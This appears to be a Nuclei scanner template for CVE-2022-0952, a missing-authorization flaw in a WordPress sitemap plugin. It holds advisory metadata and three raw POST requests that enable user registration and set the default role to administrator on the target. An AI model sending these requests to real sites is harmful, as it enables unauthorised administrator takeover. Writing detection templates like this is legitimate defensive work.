id: CVE-2022-0952 info: name: WordPress Sitemap by click5 <1.0.36 - Missing Authorization author: random-robbie severity: high description: | WordPress Sitemap by click5 plugin before 1.0.36 is susceptible to missing authorization. The plugin does not have authorization or CSRF checks when updating options via a REST endpoint and does not ensure that the option to be updated belongs to the plugin. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. impact: | An attacker can exploit this vulnerability to gain unauthorized access to sensitive information. remediation: | Update to the latest version of the WordPress Sitemap plugin by click5 (1.0.36 or higher) to fix the missing authorization issue. reference: - https://wpscan.com/vulnerability/0f694961-afab-44f9-846c-e80a0f6c768b - https://nvd.nist.gov/vuln/detail/CVE-2022-0952 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2022-0952 cwe-id: CWE-352 epss-score: 0.08361 epss-percentile: 0.93782 cpe: cpe:2.3:a:sitemap_project:sitemap:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 3 vendor: sitemap_project product: sitemap framework: wordpress tags: cve,cve2022,wp,wp-plugin,sitemap,wpscan,wordpress,sitemap_project http: - raw: - | POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1 Host: {{Hostname}} Content-type: application/json;charset=UTF-8 {"users_can_register":"1"} - | POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1 Host: {{Hostname}} Content-type: application/json;charset=UTF-8 {"default_role":"administrator"} - | POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1 Host: {{Hostname}} Content-type: application/json;charset=UTF-8 {"users_can_register":"0"} matchers: - type: dsl dsl: - 'contains(header, "application/json")' - "status_code == 200" - "contains(body_1, 'users_can_register')" - "contains(body_2, 'default_role')" condition: and # digest: 4b0a00483046022100e60d3ea551862e101dbc3217f89fcc41f88e41135e8de3816b9f98447e1d78f00221008961a55322f0405f0a595b3a0184d575ee983e143ea73388ea00a6895fd75f29:922c64590222798bb761d5b6d8e72950